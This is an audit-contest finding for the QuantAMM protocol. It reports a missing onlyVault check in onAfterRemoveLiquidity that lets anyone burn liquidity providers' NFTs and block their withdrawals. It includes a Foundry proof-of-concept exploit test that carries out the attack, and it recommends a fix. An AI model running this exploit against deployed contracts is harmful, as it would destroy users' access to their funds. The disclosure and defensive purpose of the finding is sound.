QuantAMM
QuantAMM
49,600 OP
View results
Previous Next
Submission Details
Severity: high
Valid

Lack of `onlyVault` Protection in `onAfterRemoveLiquidity` Allows Unauthorized NFT Burns, Causing Fund Loss

0xpep7

Summary

The onAfterRemoveLiquidity function in UpliftOnlyExample.sol lacks the onlyVault modifier, leaving it exposed to unauthorized calls. This allows any malicious actor to burn all liquidity provider's NFTs, leading to the inability for the liquidity providers to withdraw their funds.

Vulnerability Details

The root cause of the vulnerability is the missing onlyVault modifier in the onAfterRemoveLiquidity function, which is critical for restricting access to malicious calls.

431: function onAfterRemoveLiquidity(
...
439: bytes memory userData
440: => ) public override onlySelfRouter(router) returns (bool, uint256[] memory hookAdjustedAmountsOutRaw) {
441: address userAddress = address(bytes20(userData));
...
570: }

  • Found in contracts/hooks-quantamm/UpliftOnlyExample.sol at Line 440

The onlyVault modifier is required to protect against malicious calls but onAfterRemoveLiquidity hook missed that protection.

Impact

This vulnerability is critical, as it allows any user to burn a liquidity provider's NFT. Once the NFT is burned, the liquidity provider loses the ability to withdraw their funds, resulting in a complete loss of liquidity assets.

Step by step attack recreation is described below.

POC

Add below POC snippet to pkg/pool-hooks/test/foundry/UpliftExample.t.sol

function OnAfterRemoveLiquidityAttackHook() external {
// this hook lies in attacker's contract and would attempt to burn Bob's nfts
// since upliftOnlyRouter.onAfterRemoveLiquidity is NOT protected, this malicious hook can freely call it
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
upliftOnlyRouter.onAfterRemoveLiquidity(
address(upliftOnlyRouter),
pool,
RemoveLiquidityKind.PROPORTIONAL,
bptAmount, // this amount could be tweaked to match the liquidity amount that Bob has deposited so that ALL of Bob's NFTs are burned
minAmountsOut,
minAmountsOut,
minAmountsOut,
abi.encodePacked(bob) // attacker targets bob's NFTs
);
}
​
function testOnAfterRemoveLiquidity_UnprotectedByOnlyVault_AnyoneCanBurnLPNFT() public {
// 1. Initial state
// Add liquidity so Bob has BPT to remove liquidity.
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
vm.prank(bob);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
​
// 2. Attack with this.OnAfterRemoveLiquidityAttackHook in attacker's contract
​
// attacker calls via vault.unlock() to put vault in unlocked state (this allows any callback to vault from upliftOnlyRouter to be executed)
vault.unlock( abi.encodeCall( this.OnAfterRemoveLiquidityAttackHook, () ) );
​
// 3. Post attack
​
// confirm Bob's nft and fee data have been deleted by attacker
assertEq(upliftOnlyRouter.lpNFT().balanceOf(bob), 0, "bob should no longer own nft after the attack");
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob).length, 0, "bob should has 0 fee data entry");
​
// Confirm Bob cannot remove liquidity
vm.startPrank(bob);
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
vm.expectRevert(abi.encodeWithSelector(UpliftOnlyExample.WithdrawalByNonOwner.selector, bob, pool, bptAmount));
upliftOnlyRouter.removeLiquidityProportional(bptAmount, minAmountsOut, false, pool);
vm.stopPrank();
}

Run the POC test with the following commands:

cd pkg/pool-hooks/
forge test -vv --mt testOnAfterRemoveLiquidity_UnprotectedByOnlyVault_AnyoneCanBurnLPNFT

A PASS result indicates the attack was successful and the vulnerability described above is present.

Tools Used

Foundry Test

Recommendations

To mitigate this vulnerability:

  • Add the onlyVault modifier to the onAfterRemoveLiquidity function to ensure it is protected against unauthorized access.

Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_onAfterRemoveLiquidity_no_access_control_wipe_all_data

Likelihood: High, anyone, anytime. Impact: High, Loss of funds

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!